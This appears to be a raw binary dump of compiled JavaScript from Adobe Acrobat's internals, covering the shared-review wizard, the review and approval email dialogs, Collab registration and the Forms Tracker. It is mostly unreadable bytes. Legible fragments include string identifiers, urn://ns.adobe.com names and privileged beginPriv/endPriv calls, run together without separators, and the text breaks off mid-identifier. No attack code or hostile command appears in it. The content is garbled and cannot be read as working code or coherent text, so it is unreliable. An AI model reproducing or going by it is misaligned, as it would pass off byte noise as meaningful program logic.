�=A�:?�:�����Q�����=B�����Q����������59�����Q�����=C�����Q;�
�:Q;7�D
�;5E�F
�������:�=�;5G�F
�������:�=H�:Q;�
�:Q?>�C���-�ė�쐐�ѐԐ�ѐ�(�ؕ����~��ߐ������鐐ј�~*�ӐؐА�Ԑ�ј�~I�ϐʐΐΐʐΐӐА�ј�~k�ϐʐΐΐʐΐӐА�ؐ��ʐːʐ���ѐ��됈�x��А�����ˀ{����������ΐ�ΐΐʐʐِ��ې�ؐ�����������������pː��pː��pː���ѐ���ʐ�ѐ�������~�Ș�~��doc
decodedURLapp	beginPrividentityemailendPrivCBRunBBRReviewWizardresultfnshaddrsjoin;CBFreezeFunccollabStoreTypecNamecollabStoreSettings	cSettings()DateAnnotsStringIDS_SEND_FOR_REVIEW_VERSION_ERRcAcroVersionCBCanDoReviewWorkflowCheckExpr
canDoWorkflow	initiatortoccdatescriptCBCanDoWorkflowCheckExprAPRcanDoWorkflowAPRsubjmailto:escape	?subject=&body=msg	&ui=false
submitFormcURLaFieldsAfterAfterPermsReadyoJavaScriptbCheckReqdFieldsalertmessagecMsgoDoc
initScriptinviteesbccsentDateCollabregisterReviewdocumentFileNameplatformWIN	substringlastIndexOf\indexOf%/ ()
alertWithHelpIDS_SEND_FOR_REVIEW_CONFIRM_MSGreplace!IDS_SEND_FOR_REVIEW_CONFIRM_TITLEAnnots:SendForReviewConfirm�����-�N���&~;�
�Y=]=]\�:Q���HCollabcreateAnnotStore{cName}cName{cSettings}	cSettings�������.�scriptparams	argumentsT��1~	�����Q9��=�{w~3 !;�
�=�:Q�=�����Q9�������{w~;QYA]=]�����]	=
]=]
=]=]\�����Q;�
������:Q�ė������ܐ���ϐ��ܐ���ʐΐʐʐʐՐ��ۈeval{canDoWorkflow}appalert{cAcroVersion}{script}doc{initiator}	initiator
initScript{to}invitees{cc}ccbcc{date}sentDateCollabregisterReview�������.�scriptparams	arguments�ٷS~	�����Q9��=�{w~U !;�
�=�:Q�=�����Q9�������{w~]QYA]=]�����]	=
]=]
=]=]\�����Q;�
������:Q�ė������ܐ���ϐ��ܐ���ʐΐʐʐʐՐ��ۈeval{canDoWorkflowAPR}appalert{cAcroVersion}{script}doc{initiator}	initiator
initScript{to}invitees{cc}ccbcc{date}sentDateCollabregisterReview����e	%docname%	%docname%g�������CBRunReturnResponseDialog��4�Gtitletexttip
cannedSubj	cannedMsgdocNameliveReturnAddrdatabuttonsWidthwidthdescriptionf���~YZY;5]\`Y;5]\`Y;5]\`\]\WQX�WQ9��YT]T]T]	T]
T]�]�]
�]YT]ZY=]=]9��T�
��:�V�:�
�T�ZY=]=]=]ZY=];5]=]\`Y=]=]=]\`\]\`\UZY= ];5!]\`Y= ]=]=]\`\�:�
�ZY= ];5"]\`Y=]=]=#]\`Y= ];5$]\`Y=]=]YZYZ\]%\`�`\]&\]'C](=)]\`\�:�
�9*�*�T�V�:�:�
�ZY=]=]=+]ZY=,];5]-\`\]\`\�:]\`\]\].\�:WQ;/�0
�:QT;/�2
�V�:61Q;/�3
�:QT����АȐȐȐȐȐʘ�~�ʘ�~�ʘ�~ܕȐ���ʐʐ����ɐ�ʐʐʐ���ʐϐϐ��ʐʐ�~���ʐԐ��ʐʐܘ���ʐԐ��ʐʐϐ��ʐԐ��ʐʐܐ��␐��ʐʐʐ���ʐ���/�ѐ�ݐ�ѐ��AnnotsString
IDS_CANCELstring_widthIDS_HELPIDS_SENDmaxANTrustPropagateAlldata	cannedMsg
cannedSubjdocNameliveReturnAddr
initializecommitadrbnameviewtype
align_leftalign_childrenANCreateMLSEElementsFromArraysplitconcat	align_row
align_fill	alignmentbuttonIDS_INVITE_ADDRESS_BOOKitem_id	edit_text1adrelementsstatic_textIDS_GEN_ADDRESSEE_HEADINGIDS_GEN_SUBJECT_HEADINGsubjIDS_GEN_MESSAGE_HEADINGedit_text_heightprodheight	multilinemesgANCreateTipElementsalign_right	ok_cancelok_namedescriptionapp	beginPrivresult
execDialogendPriv������'dialog#����~AT6QT�
�Y=]\�:QA55 /A5A5�
��A5�:6QA55	 /A5A5
�
��A5�:6	QT�
�YA55]A55	]	A55]
\�:QT�
�Y;5]\�:Q��ʐ������ꐈ���ꐈ����7dialogloadC_Info_Xl_N.pngtip1datamsg	cannedMsgreplacedocNamesubj
cannedSubjmesgaddr1adrenableappaddressBookAvailableadrb	%docname%	%docname%�����O�dialogo��w��~T�
�:WQA5V56QA5V56QA5V56Q�Ґ��Ԑ�Ԑ�Ԉstoredatamsgmesgsubjaddr1adr�������
dialogaddrs��f��~	;�
�:Q;�
�YT�
�:5]B]B]\�:WQ;�
�:QVEQV>7%T�	
�YV>7]\�:Q��ѐ���ѐ�����!app	beginPrivmailGetAddrsstore1adrcTobCcbBccendPrivload
\n|\r\n|\r����CBRunReviewOptionsDialog��,�:@datashowReaderEnablecanReaderEnablewidthdescription0��5Y;5]\WQ9��Y�����]T]T]�]�]�]	�]
Y;5]V]
ZY=]=]ZY=]ZY=];5]\`Y=]=]=]ZY=];5]=
]\`Y=]=]=]\`\]\`\�
�TzZY=]�]\`Y=];5]\`Y= ];5]=!]\`\
Z\�:�
�9"�"�TE	QT;5#;5$�V�:�:�
�ZY=%]\`\�:]\`\]\`\]\]&\�:WQ;'�(
�:Q�����;'�*
�V�:6)Q;'�+
�:Q������ِ�АΐȐȐʘ�Rʘ�kʘ�wʘ���ϐȐ���ʐʐ���ʐ���ʐԐ��ʐʐʐ���ʐϐϐ��ʐʐ㘀�uɐ�ʐ̐��ʐԐ��ʐϐՐ���퐔����ψѐ�㐈ѐ�ʈAnnotsStringIDS_INVITE_READER_ENABLE
zstring_widthANTrustPropagateAlldatashowReaderEnablecanReaderEnable
initializevalidatecommitadrbIDS_REVIEW_OPTIONSnamewidthviewtype	align_rowalign_childrenstatic_textIDS_REVIEW_OPTIONS_RETURN_HEAD
align_fill	alignmentbuttonIDS_INVITE_ADDRESS_BOOKitem_id	edit_textradrelementsconcatgapheightIDS_INVITE_READER_ENABLE_H	check_boxrdenANCreateTipElementsIDS_REVIEW_OPTIONS_REN_TIPIDS_REVIEW_OPTIONS_NREN_TIP	ok_canceldescriptionapp	beginPrivresult
execDialogendPriv������4"dialogreaderEnableD���=AT6QT�
�Y=]A55]A555]	A555
]\�:QA5E.QA55
�=CA55
WQA5�
�YV]\�:QA5�
�YA5];5]\�:QA55 !;�
�;5�:Q��ʐ�АʐАՐۘ�Ḧ/���ϐ��ᐈ󐐈���܈4dialogloadC_Info_Xl_N.pngtip1dataraddrradrtoolbars
Commentingpctb
AdvCommentingpatbcanReaderEnablereaderEnable	undefinedrdenenableappaddressBookAvailableadrbalertAnnotsStringIDS_REVIEW_OPTIONS_NO_RADDR�����A�dialogo���RT�
�:WQV5 #;�
�;5�:QBC�Ґ������ܐ���i��storeradrappalertAnnotsStringIDS_REVIEW_OPTIONS_NO_RADDR�������dialogo&���kT�
�:WQA5V56QA5Y�����55]V5]\6QA5EQV5	A55
&A5V5	6
QA5C6Q�Ґ��Ԑ�������Ԑ�͈storedataraddrradrtoolbars
Commentingpatb
AdvCommentingshowReaderEnablerdenreaderEnable
msgChanged�������
dialogaddrs��o�w	;�
�:Q;�
�YT�
�:5]B]B]\�:WQ;�
�:QVEQV>7%T�	
�YV>7]\�:Q��ѐ���ѐ�����!app	beginPrivmailGetAddrsstoreradrcTobCcbBccendPrivload����CBRunApproveDialog��ED
y@titletextdesttip
cannedSubj	cannedMsgdocNameliveReturnAddrdatabShowInitiatorEmailbIsEndbuttonsWidth
popupWidthwidthdescription�����YZY;5]\`Y;5]\`Y;5]\`\]\WQYZY;5]\`Y;5]\`X^`\]\WQX�WQ9��YT]	T]
T]T]T]
�]�]�]�]�]�]�]�]�]�	]YT]ZY=]=]9��T�
��:�V�:�
�Y= ]�]!\�:�
�����hZY="];5#]\`Y=$]=]%=]&V]'B](\`\
Z\�:�
�Y="]T]=)]&\�:�
�T�ZY=]=*]=)]&ZY;+5,=-
="];5.]=]%\`Y=/]=0]%=)]&\`\]1\`\UZY="];5.]\`Y="]=0]%=)]&\`\�:�
�ZY=]=*]=)]&ZY;+5,=-
="];52]=]%\`Y=/]=3]%=)]&\`\]1\`\�:�
�ZY="];54]\`Y=/]=)]&=5]%\`Y="];56]\`Y=/]=)]&C]7YZYZ\]8\`�`\]9\]!=:]%\`\�:�
�����VZY= ]?]!\`Y=;]=<]%;5=]\`\
Z\�:�
�9>�>�T�V�:�:�
�ZY=]=?]=?]&ZY=]=*]=?]&ZY=-];5]=]%V]'\`Y=-];5]=]%V]'\`\]1\`\]1\`\�:]1\`\]1\]@\�:WQ;+�A
�:QT;+�C
�V�:6BQ;+�D
�:QT���ΐ��АȐȐȐȐȐʘ��ʘ��
ʐʘ��$ʘ��/ʘ��6ʘ��Aʘ��Oʘ��Sʘ��k�Ȑ���ʐʐ�ʐԐ��cɐ�ʐԐ��ʐʐʐȐѐ�ѐ�ʐȐא����ɐ�ʐʐʐ����
ِϐϐ��ʐʐ�����ʐԐ��ʐʐܘ�����ʐʐʐ����
ِϐϐ��ʐʐ瘀����ʐԐ��ʐʐϐ��ʐԐ��ʐʐ��ܐ��Qɐ�ʐː��ʐʐ�ڐ�ѐ☀�ʐʐʐ���ʐʐʐ���ʐϐʐ͐��ʐϐʐ�Ș���ѐ�ݐ�ѐ��AnnotsString
IDS_CANCELstring_widthIDS_HELPIDS_SENDmax%IDS_APPROVAL_FINAL_COMPLETE_AND_EMAIL IDS_APPROVAL_FINAL_COMPLETE_ONLYANTrustPropagateAlldata	cannedMsg
cannedSubjdocNameliveReturnAddr
initializesnd2cncljustOneEmailfindSelectedIndexidlecommittoadccadctypnameviewtype
align_leftalign_childrenANCreateMLSEElementsFromArraysplitconcatgapheightstatic_text$IDS_APPROVAL_COMPLETION_TYPE_HEADINGpopupitem_id	alignmentwidth	PopupEdit
align_fill	align_rowappaddressBookAvailablebuttonIDS_GEN_ADDRESSEE_HEADING	edit_text1adrelementsIDS_GEN_CC_HEADING2adrIDS_GEN_SUBJECT_HEADINGsubjIDS_GEN_MESSAGE_HEADING	multilineedit_text_heightprodmesg	check_boxcbx1#IDS_EMAIL_APPROVAL_NOTIFY_INITIATORANCreateTipElementsalign_rightdescription	beginPrivresult
execDialogendPriv������f9dialogctypE�G��	AT6QT�
�Y=]\�:QA55 /A5A5�
��A5�:6QA55	 /A5A5
�
��A5�:6	QA55�=A5B6QA55
�=A5C6
QT�
�YA55]A55	]	A55]A55]\�:Q�����+T�
�YA55]\�:Q������Y\WQV;5A55
?�8QV;5A55
 ��8QT�
�YV]\�:QA�
�T�:QT�
�=�:Q��ʐ�������ꐈ���ꐐ����͐����͐���א����搐���ʐ��ϐ�͈7�А�ސ�ѐ��ՈdialogloadC_Info_Xl_N.pngtip1datamsg	cannedMsgreplacedocNamesubj
cannedSubjinitiatorEmail	undefinedfinalApprovalEmailmesgaddr1adrccaddr2adrcbx1AnnotsString%IDS_APPROVAL_FINAL_COMPLETE_AND_EMAIL IDS_APPROVAL_FINAL_COMPLETE_ONLYctypfocus	%docname%	%docname%�������
dialogoZ�v��T�
�:WQA�
�V5�:DQA�
�=�:?6A�
�A5�:QA5�
�=�:Q!;	�

�;5�:Q�Ґ�1���Ԑ�ݐ��܈7storejustOneEmail1adrfindSelectedIndexctypcommitdialogendmyokappalertAnnotsStringIDS_EMAIL_ADDRESS_TO_FIELD_MSG������dialog����
�A5�
�=�:Qˆ؈dialogendcncl�������,toStringsplit
nNumAddrFoundi	addrMatch��_��
T=BT�
��:WQ>WQVKRmMWQVV7@VV7�
��:WQVEQV?7V#?WQQ�L����NV?CB������ؐ��5Uː���ܐ���Ր��������
splitmatch\;^\s*(\S(?:.*\S)?)\s*$7U�����P�idoi��$�A5�
�:T7WQVK%mMWQVV7>VV7?�N��L����N��ِ�5(ː�����xː���
dialogstore#(�����V�
dialogo���/�	T�
�:WQT�
�YV5=DQA�
�=�:?]\�:Q�Ґ�ː���storeenable1adrfindSelectedIndexctypsnd2�������dialogo����6�T�
�:WQA5V56QA5V56QA5V56QA5V56QA5V5
6	QA5A�
�=
�:>6Q�Ґ��Ԑ�Ԑ�Ԑ�Ԑ�Ԑ��Estoredatamsgmesgsubjaddr1adrccaddr2adrinitiatorEmailcbx1finalApprovalEmailfindSelectedIndexctyp�������dialogaddrs��9�A�	;�
�:Q;�
�YT�
�:5]T�
�:5]B]\�:WQ;�	
�:QVYV>7%T�

�YV>7]\�:QV?7%T�

�YV?7]\�:Q��ѐ�Ґ�ѐ���
���
���!app	beginPrivmailGetAddrsstore1adrcTo2adrcCCbBccendPrivload������dialogL�u�O�A�
�T�:Q��шtoad�������dialogindex��Q�S�A�
�=�:WQV>iT�
�Y;5]\�:QT�
�YC]C]C]	C]
C]C]\�:QnV?dT�
�Y;5
]\�:QT�
�YB]B]B]	B]
B]B]\�:Q�֐d���合���
���合��jfindSelectedIndexctyploadAnnotsStringIDS_SENDsnd2enabletoad1adrccad2adrsubjmesgIDS_COMPLETE
\n|\r\n|\r�����w�/�y�F
�;>7;56Q;>7;56Q;>7;56Q;?7;56Q;?7;56Q;�7;56Q;�7;56Q;�7;56Q;�7;56Q;	>7;56Q;	>7;5
6Q;	?7;56Q;	?7;56Q;	�7;56Q;	�7;56Q;
5;56Q;5;56Q;5;56Q;5;56Q;5;56Q;'=�;;5=
X�X�6Q;;5=
XPX?6Q;X�6Q;�6Q;�6Q;�6Q;�6 Q;�6!Q;� 6"Q;� 6#Q;�6$Q;�6%Q;�&
�:Q;'�(
�=)�;�:Q;'�(
�=*�;�:Q;5=+;'�(
�=,�;�:Q;'�(
�=-�;
�:Q;�.
�:Q��א��א�א��א�א��ؐ�ؐ��ؐ�ؐ��א�א��א�א��ؐ�ؐ��ڐ�ڐ�ڐ�ڐ�ڐ���������֐����֘��B�ΐ��͐�͐�͐��͐�͐��͐�͐�͐�͐��ѐ�Ӑʐ���Ӑʐ������^�Ӑʐ��ݐ�шIWEmailFormStepstitleAnnotsString!IDS_SHARED_REVIEW_WIZARD_TITLE_FDUploadFileSteps*IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLE_UFheading$IDS_SHARED_REVIEW_DOC_CENTER_HEADING,IDS_SHARED_REVIEW_BROWSE_DOC_STEP_HEADING_UFDocCenterLoginSteps"IDS_SHARED_REVIEW_DOC_CENTER_LOGIN+IDS_SHARED_REVIEW_DOC_CENTER_CREATEID_TITLE3IDS_SHARED_REVIEW_DOC_CENTER_CREATEID_CONFIRM_TITLESharedReviewDocCenterInitiatoroTaskSetcTitle"IDS_SHARED_REVIEW_CREATE_WORKSPACESharedReviewWebDAVInitiatorSharedReviewAppleiDiskInitiatorSharedReviewSMBInitiatorSharedReviewSharepointInitiatorCollab	undefinedAlertWithHelpWidthappplatformWINwizardWidthwizardHeightbuttonRowMarginHeightbuttonRowMarginWidthwizardMarginWidthmarginWidthmarginHeighttipIconWidth
tipIconHeightnavIconWidth
navIconHeight	beginPrivRSSaddUI4urn://ns.adobe.com/Collaboration/SharedReview/WebDAV8urn://ns.adobe.com/Collaboration/SharedReview/SharepointMAC1urn://ns.adobe.com/Collaboration/SharedReview/SMB9urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.comendPriv����e�����T�

	xmlStringxml�'��
;�T�RWQYV��7]A�
�Z\�V5�
�:�:]\�Ґ�Ȉ��>XMLnamemethodxml2jsArray	argumentschildrenargs������value����A�
�A�
�T�:�:��ވ0toXMLStringjs2xml�������
B�reti	arguments5���
	WQ�=�WQVV>7>76QV=6QV>7EQV>7>7�?qV�
�=��:Q?WQ;mV5�
�A�
�V>7V7�:�:QV#?WQ�VV>7�����A�	
�V�:•�ː�А�ΐ����א�$;1K���������똀���,ʘ��������՘����ш	<invoke/>@name@returntype
javascriptlengthappendChild<arguments/>	argumentsjs2xmltoXMLStringhK�����I�targetArrayxmlNodeList�M��TK6mMn�oQT�
�A�
�;�:�:Q�L����NT�59Ԉ%됈�nodepushxml2js
9�������n,
requestXMLresultxmlPropertiesListpropName�2��T;=T�
�:==T�
�:�
�:x=yF=yZ=y_=	ys=
yz=y�=y�zGA�
�T�
�>�:�:T�
�:9��T�
�:�:9��C�:9��B�:A�
�;�R�T�
�:�:Y\WQT�
�:WQVK�mMn�oQ;�
�:�
�:=;�=�Rp;��7�
�:WQVVA�
�;�:8Q�L����NV���#���.���`����m
�m
�m
�m
�m
�m
�mʘ����ސ�ϐ�ސ�ѐ�ѐ�琐�ʐҐ5��Ԑ�����ѐ��֐�㐐���P��	undefinednodeKindelementnametoStringpropertystringnumbertruefalsearrayobjectxml2jschildNumberBooleanxml2jsArrayArraychildrennodeErrorexpected only property nodesidR��������n�valueargTypeargiprop	argumentszA!ځ	WQV>7�WQVQV=DQV=DQT@(;�=T=�RWQXV=TT;r=WQ8T;r=	WQT;
r=WQ;�=V=�RWQV=DQV=qTKYmMWQ�=�WQVV6
QV�
�A�
�TV7�:�:QV�
�V�:Q�L����NTV=3V�
�;�T�
�:�R�:QV�
�T�:QV•��ʐ���#���㐐���������ΐ�����ΐ�����ɘ����ސ��l��5\ː�ː�̐��䐈ᐐ��.������Ӑ����boolean	undefinedXML</>objectArrayarrayStringstringDatedate<property/>@idappendChildjs2xmlgetTime�\�����?�xmloldValresult�!a"�;5WQ;B6QT�
�:WQ;V6QV�ΐ�̐Ґ�ΐ��XMLprettyPrintingtoXMLString����InitializeFormsTrackerJS;��;MZ+d�cTableOddRowColorcTableEvenRowColorcTableHeaderColormyFormsTrackerDebugAlert	getStringfwNSinboxNSftNScFormsIveSentURLcFormsIveSentFeedLinkcFormsIveReceivedURLcFormsIveReceivedFeedLinkcFormsSuperGroupURLcFormsSuperGroupLinkfwMethodfwDocIDfwRecipientsfwNewResponsesfwResponsesfwExtraInfo
fwDocTitle	fwDocLinkfwTofwCcfwBccfwIsOffline
fwIsInitiated
fwIsOnline
fwLastSyncfwLatestVersionfwRemoteURL
fwLocationfwFolder	fwServersfwHasConnectedfwConnectionStatusfwWorkspaceinboxHiddenFORM_STATE_ACTIVEFORM_STATE_ENDEDFORM_STATE_SUSPENDEDFORM_STATE_CORRUPTEDEVENT_LOGGING_CATEGORY_TRACKEREVENT_LOGGING_SUBCATEGORY_FORMSLogAVUMEventFormsTrackerAddNewFolderFormsTrackerSetFormFolderFormsTrackerRemoveFolder+FormsTrackerRemoveFolderWhileMultipleSelectRemoveMultipleSelectedFormsSetFormFolderForMultipleForms)FormsTrackerRemoveFormWhileMultipleSelectTrackerExpandSelectionTrackerCanExpandSelectionTrackerCollapseSelectionTrackerCanCollapseSelectionoFormsTrackerUIoFormsSuperGroupUI	arguments�'��+�B	�<����Q�=�����Q=�����Q=�����Q������Q������Q;'=n=�����Q=�����Q=�	����Q=�
����Q=	�	����=
�
���������Q=�����Q=	�	����=
������
����Q=�����Q=	�	����=
����������Q�����=
�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=�����Q�����=� ����Q�����=�!����Q�����=�"����Q�����= �#����Q�����=!�$����Q�����="�%����Q�����=#�&����Q�����=$�'����Q=%�(����Q=&�)����Q='�*����Q=(�+����Q=)�,����Q=*�-����Q;+�,
��:�.����Q;+�,
��:�/����Q;+�,
��:�0����Q;+�,
��:�1����Q;+�,
��:�2����Q;+�,
��:�3����Q;+�,
��:�4����Q;+�,
�	�:�5����Q;+�,
�
�:�6����Q;+�,
��:�7����Q;+�,
��:�8����Q;+�,
�
�:�9����QY;+�,
��:]-�].�]/�]0�]1�]2;+�,
��:]3;+�,
��:]4�]5�]6�]7�]8�]9�]:�];�]<�]=�]>� ]?�!]@�"]A�#]B�$]C�%]D\�:����QY�&]-;+�,
�'�:].�(]7�)]9\�;����Q;+�E
�:Q;�F
�=G�;�����:Q;�F
�=H�:�����:Q;+�I
�:Q>�*v�*Q;J�K
�*5L�:Q��ė���ϐϐϐ�Ϙ��9Ϙ��A�����ϐϐϐ��ϐ�ϐ�ϐ鐐�ِِِِِِِِِِِِِِِِِِِِِِِِ��ϐϐϐϘ��rϐϐ������������������	����'��.��7��>��K��ۘ��Mʘ��ʘ���ʘ���ʘ���ʘ���ۘ��Jۘ��{ʐ�ʘ���ʘ���ʘ���ʘ���ʘ���ʘ���ʘ���ʘ���ʘ���ʘ���ʘ���ʘ���ʘ���ʘ���՘��#��ʘ��}ۘ���ʐ՘����ѐ�ᐈᐈ�x��А���{��#FFFFFF#F8F8F8#E4E4FFRSS	undefined&http://ns.adobe.com/Acrobat/RSS/Forms/&http://ns.adobe.com/Acrobat/RSS/Inbox/(urn://ns.adobe.com/Acrobat/FormsTracker/;urn://ns.adobe.com/Acrobat/Tracker/FormsTracker/MyForms.rssacrobat:Inbox?container=&selectFeed=Durn://ns.adobe.com/Acrobat/Tracker/FormsTracker/ParticipantForms.rssCurn://ns.adobe.com/Acrobat/Tracker/FormsTracker/FormsSuperGroup.rss:method:docID:recipients
:newResponses
:responses
:extraInfo	:docTitle:docLink:to:cc:bcc
:isOffline:isInitiated	:isOnline	:lastSync:latestVersion
:remoteURL	:location:folder:serverReviews
:hasConnected:connectionStatus
:workspace:hiddenActiveEnded	Suspended	CorruptedTrackerFormsapptrustedFunction
createContextgetGroupContextMenu
getFeedTip
getItemTipgetGroupTipgetFeedContextMenugetMultipleSelectContextMenugetItemContextMenusupportsMultipleSelection$isCompatibleForMultipleSelectionWith
canDeleteFeed canDeleteFeedWhileMultipleSelect
canDeleteItemonDeleteItem canDeleteItemWhileMultipleSelectonDeleteItemWhileMultipleSelectonDeleteAllMultipleSelectedcanDeleteGroup
onDeleteGroup!canDeleteGroupWhileMultipleSelect onDeleteGroupWhileMultipleSelectcanChangeGroupscanModifyItemGroupmodifyItemGroup	beginPrivaddUI5urn://ns.adobe.com/Acrobat/Tracker/UI/FormsSuperGroup2urn://ns.adobe.com/Acrobat/Tracker/UI/FormsTrackerendPrivconsoleprintln
extMessage������str�(!)3�������J�irvalI)�)9�;�
�Y=]T]\�:WQV==TV�����ʐ��app	getStringFormscPlugInName	cStringIdempty:�����f�
categorysubcategory	eventNamelogEventParams�3�4u�Y\WQVT6QVT6QVT6Q;�
�:Q;�
�V�:Q;�
�:Q�ʐ�̐�̐�̐��ѐ�Ր�шcatsubcatevntapp	beginPrivCollabAVUMLogEventWrapperendPriv�����_��AurlresultcurrentfolderbFoundimsgM6s=��
VQ;�
�:Q;�
�T�:WQ;�
�:Qm;�
�:Q;�
�;5�;5�:WQ;�
�:QV;	EQV@�V�
?DQV�
�L;�
�:Q;�
�;5�?�>�:Q;�
�:Q=BWQV;	H>WQ!mVV7VWQV#?WQQ�VV�
E
QV ����Vo;5
WQV�
��V�:WQ;�
�:Q;�
�V�?�>�:Q;�
�:Qu;�
�:Q;�
�T�V�:Q�.�����,�����-�����=�:Q;�
�:QVWQ

�C����V����ѐؐ�ѐ�(������������ѐؐҐ�ѐ�������G���	ѐ�	�	֐��������$!9��И����8̘��������Ԉɘ���j��ΐ�
ܐ�
ѐ�
٘����
֐����
ѐ�
ِ�
鐈
ѐ�
�@ʘ���@�����Ș�����app	beginPrivFormWorkflowgetFormWorkflowFoldersendPrivresponseAnnotsStringIDS_REVIEW_PANEL_ADD_FOLDERIDS_REVIEW_PANEL_NEW_FOLDER	undefinedlengthalertIDS_REVIEW_PANEL_FOLDER_LENGTHIDS_REVIEW_PANEL_FOLDER_EXISTSreplaceaddFormWorkflowFolderCreateFolder%sC-9�����@�	urldocIDfolder�=K>��;�
�:Q;�
�T�T�T�:Q;�
�:Q��ѐ�ݐ�шapp	beginPrivFormWorkflowsetFormWorkflowFolderendPriv�����d�:$urlfoldermsgmsgboxtitleresult�>�AȂVQT�
����"������=�:WQ������=�:WQV�
��T�:WQ;�
�:Q;5=;5;5	WQ;�

�YV]V]�]
�]\�:WQ;�
�:QV�i;�
�:Q;�
�T�T�:Q�.�����,�����-�����=�:Q;�
�:Q�����ݐ��ؐ�ܐ��ѐ����ѐ����ѐ�ِ�鐈ш'IDS_SHAREDWF_ASK_DEL_FOLDER_DISTRIBUTED$IDS_SHAREDWF_ASK_DEL_FOLDER_RECEIVEDreplaceapp	beginPriv
viewerTypeReaderAnnotsStringIDS_PRODUCT_NAME_READERIDS_PRODUCT_NAME_ACROBATalertcTitlecMsgnIconnTypeendPrivFormWorkflowremoveFormWorkflowFolderRemoveFolder%foldername%�����<�	urlfolder�AhB߂;�
�:Q;�
�T�T�:Q;�
�:Q��ѐ�ِ�шapp	beginPrivFormWorkflowremoveFormWorkflowFolderendPriv�������W.bIsInitiatedmsgboxtitleresult�BcF�	�T)n������=�:oQ$n������=�:oQ;�
�:Q;5=;5;5	WQ;�

�YV];]�]
�]\�:WQ;�
�:QV�c;�
�:Q;�
�:Q�.�����,�����-�����=�:Q;�
�:QCB~�vWQ;�
�=V�:Q;�
�V5�:Q��=V�:Q��V5�:Q����$��䐐�ߐ��ѐ����ѐ����ѐ�ѐ�鐈ѐ������z��ʐ��ې�ڐ�ِ�؀{��msg)IDS_SHAREDWF_ASK_DEL_MULTIPLE_DISTRIBUTED&IDS_SHAREDWF_ASK_DEL_MULTIPLE_RECEIVEDapp	beginPriv
viewerTypeReaderAnnotsStringIDS_PRODUCT_NAME_READERIDS_PRODUCT_NAME_ACROBATalertcTitlecMsgnIconnTypeendPrivFormWorkflow,removeMultipleSelectedFormWorkflowsInTrackerRemoveMultipleconsoleprintlnEXCEPTION: stack����eJ�������	*feedURLformIDs
folderName�FH	��;�
�:Q;�
�T�T�T�:Q;�
�:Q~�vWQ;�
�=V�:Q;�
�V5�:Q��=V�:Q��V5�:Q�����ѐ�ݐ��x��ʐ��ې�ڐ�ِ�؀{��app	beginPrivFormWorkflowsetFormFolderForMultipleFormsendPrivconsoleprintlnEXCEPTION: stack����eD�����f� itemdocIDrH�I�T5�����7WQV'=C;�
�:Q;�
�V�:Q;�
�:QCB�֐�	�>���ѐ�Ր�ѐ�����
	Extension	undefinedapp	beginPrivFormWorkflowunregisterFormsWorkflowendPriv�����4�	�I-J'�;�
�:Q;�
�:Q;�
�:Q��ѐ�ѐ�шapp	beginPrivCollabexpandTrackerSelectionendPriv�����5�url	canExpandtJK.�;�
�:Q;5WQ;�
�:QV��ѐΐ�ѐ���app	beginPrivCollabcanExpandTrackerSelectionendPriv�����4�	WK�K7�;�
�:Q;�
�:Q;�
�:Q��ѐ�ѐ�шapp	beginPrivCollabcollapseTrackerSelectionendPriv�����5�urlcanCollapse
L�L>�;�
�:Q;5WQ;�
�:QV��ѐΐ�ѐ���app	beginPrivCollabcanCollapseTrackerSelectionendPriv��������"	��result	arguments�NCBM�		�����QY������=�:];5]������=�:];5]������=�:]	=
]������=�:]
������=�:]������=�:]������=�:];5];5];5];5];5];5]������= �:]!������="�:]#������=$�:]%������=&�:]';5(])������=*�:]+������=,�:]-������=.�:]/������=0�:]1������=2�:]3������=4�:]5=6������=7�:=8]9������=:�:];������=<�:]=������=>�:]?������=@�:]AY;5B]C������=D�:]E;5F]G;5H]I\]J;5K]L������=M�:]N������=O�:]P������=Q�:]R������=S�:]T������=U�:]V;5W]X������=Y�:]Z������=[�:]\;5]]^������=_�:]`������=a�:]b������=c�:]d������=e�:]f������=g�:]h;5i]j;5k]l������=m�:]n������=o�:]p;5q]r;5s]t������=u�:]v;5w]x������=y�:]z;5{]|������=}�:]~;5]�������=��:]�������=��:]�������=��:]�������=��:]�������=��:]�������=��:]�������=��:]�������=��:]�������=��:]�;5�]�������=��:]�������=��:]��]�Y@]�@]�\]�Y@]�\]��]��]��]��]��]��]��]��]�Y=�]�ZY=�]�=�]�=�]�ZY=�]�=�]�\`\]�\`\]�\]�\�����Q;���
�:Q�����;���
�����5��:6�Q�����;���
�����5��:6�Q�����;���
�����5��:6�Q�����;���
�����5��:6�Q�����;���
�����5��:6�Q�����;���
�����5��:6�Q;���
�:Q������ė����ِϐِϐِʐِِِِϐϐϐϐϐ�ϐِِِِϐِِِِِِ�吐ِ�ِِِ���ϐِϐ՘���ϐِِِِِϐِِϐ�ِِِِِ�ϐϐ��ِِϐϐِϐِϐِϐِِِِ��ِِِِِϐِِ�ʘ�����̘����̐��ʘ���ʘ���ʘ��ʘ��ʘ���ʘ��ʘ��ʘ��.�ʐ���ʐʐʐ���ʐ񘀉B�ѐ�ѐ�ʈIDS_FORMS_TRACKER_MY_FORMScIveSentAnnotsStringIDS_TRACKER_NO_SENT_REVIEWScNoIveSentForms#IDS_FORMS_TRACKER_PARTICIPANT_FORMScIveReceivedcNoIveReceivedForms)IDS_FORMS_TRACKER_FORMS_SUPER_GROUP_TITLEcFormsSuperGroupNBSP_PLACEHOLDERnbsp_placeholder&IDS_FORMS_TRACKER_VIEW_RESPONSES_LABELcViewResponsesLabel%IDS_FORMS_TRACKER_VIEW_RESPONSES_LINKcViewResponsesLink&IDS_FORMS_TRACKER_DISTRIBUTION_MESSAGEcDistributionMessageIDS_FORMS_TRACKER_VIEW_FORMcViewFormButtonLabelIDS_TRACKER_NOT_APPLICABLEcNotApplicableIDS_TRACKER_CLICKcClickIDS_TRACKER_HEREcHereIDS_TRACKER_TO_RESUME_ACTIVEcToResumeActiveIDS_TRACKER_HOW_DO_I_FIX_THIScHowDoIFixThisIDS_TRACKER_CHANGES_NONEcNone)IDS_FORMS_TRACKER_TO_CHANGE_FILE_LOCATIONcToChangeFileLocation@IDS_FORMS_TRACKER_DEF_LIST_CHANGES_SINCE_LAST_REVIEWED_RESPONSEScChangesSinceLastViewedIDS_FORMS_TRACKER_RESPONSEScResponsesLabel$IDS_FORMS_TRACKER_SUBMISSION_HISTORYcSubmissionHistoryLabel#IDS_SHARED_R